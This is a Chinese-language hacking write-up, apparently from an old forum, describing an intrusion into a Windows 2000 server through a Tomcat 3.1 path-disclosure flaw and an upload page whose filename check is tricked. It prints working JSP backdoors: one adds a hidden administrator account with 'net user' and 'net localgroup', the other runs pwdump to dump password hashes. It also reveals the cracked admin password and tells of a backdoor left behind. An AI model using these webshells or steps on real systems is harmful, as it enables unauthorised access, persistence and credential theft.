|
环境: Windows2000,80端口上开了一个VqServer ,8088端口上开了一个Tomcat3.1+JSP,139端口开放
取出CIS,用空链接进行帐号扫描。发现该机器只有一个管理员帐号jack,也没发现有弱口令。 扫描端口: 80,135,139,445,1024,8088开放,呵,端口开的还不算少。我把注意力放在了Web上,试图从Web上能找到突破口。由于VqServer这种Web已前没有碰到过,在网上找了一下漏洞库,发现有一个‘..’的问题,试了一下,无效。 看来要简单的突破这台机器的话,80是希望不大了。 我把注意了移到了8088端口上,发现是个Tomcat3.1。 点击进去后发现如下的url: [url]HTTP://xx.xx.xx.xx/goodsoft/jsp/vote.jsp ,一看页面原来是个投票箱。我以前在老版本的Tomcat上曾经发现了一个%00.jsp暴露jsp路径的问题(后来绿盟公布了这个漏洞)。先遍历一下Web下的文件再说,于是递交请求[url]HTTP://xx.xx.xx.xx/goodsoft/%00.jsp。 有几个普通的jsp文件
仔细一看还有几个目录,于是在下一层目录中继续遍历。 在发现大量普通的jsp文件后,我注意到了一个叫upLoadImage.jsp的文件。看上去这个文件可能上传东西。 递交请求 [url]HTTP://xx.xx.xx.xx/goodsoft/jsp/upLoadImage.jsp,出现了上传页面。 先传个图片上去看一看。于是选中一个文件WINLOGO.GIF,点上传,显示上传成功。利用编历漏洞撞一下大运,看看上传的文件在不在Web的目录里面。 在goodsoft/这个目录和子目录中遍历了一下,没有发现上传文件的踪影。递交请求[url]HTTP://xx.xx.xx.xx/%00.jsp. 这时显示出了这个Web隐射目录下的所以子目录,在这些子目录中再做一次遍历,终于发现刚才上传的那个文件了。原来在 [url]HTTP://xx.xx.xx.xx/web/welcome/下面。 在上传文件的过程中通过欺骗里面的一个文件名判断程序,我也成功的上传了一个jsp文件test.jsp。 到这里,我想要是上传的jsp还可以运行的话,不就可以以那个管理员的身份来执行jsp了吗? 试验一下是否可以运行 [url]HTTP://xx.xx.xx.xx/web/welcome/test.jsp竟然可以运行,严重的配置错误! 好了,做个后门页面numguess.jsp,添个管理员再说。
<%@ page import="java.lang.Runtime" %> <% try { String cmdLine = " net user temp 123456 /add" Runtime r = Runtime.getRuntime(); r.exec(cmdLine); cmdLine = " net localgroup administrators temp /add" r.exec(cmdLine);
} catch(Exception e) { } %>
上传上去,[url]HTTP://xx.xx.xx.xx./web/welcome/numguess.jsp运行,由于管理员是用管理员帐号在跑Tomcat,因此这里有权限添加这个帐号。几秒钟后帐号已经加了上去,然后登陆。 对方的文件已经显示在我的屏幕上了。 我想把那个管理员帐号密码也随便解出来吧,复制Janker的pwdump到那个jsp上传目录,再写一个新的页面pwdump.jsp(如下),通过139端口上传上去(这时已经是完全访问C$,D$了)。 同上方法通过浏览器调用这个新的jsp文件 [url]HTTP://xx.xx.xx.xx/web/welcome/pwdump.jsp 看了一下pwdump.exe在C:\WINNT下生成的passwd.txt,原来密码是jakerong. 然后在C:\Documents and Settings\jack\桌面\ 目录下给他留了一个修改密码修补漏洞的文件。做了个后门就出来了。
<%@ page import="java.lang.Runtime" %> <% try { String cmdLine = " pwdump.exe" Runtime r = Runtime.getRuntime(); r.exec(cmdLine);
} catch(Exception e) { } %>
|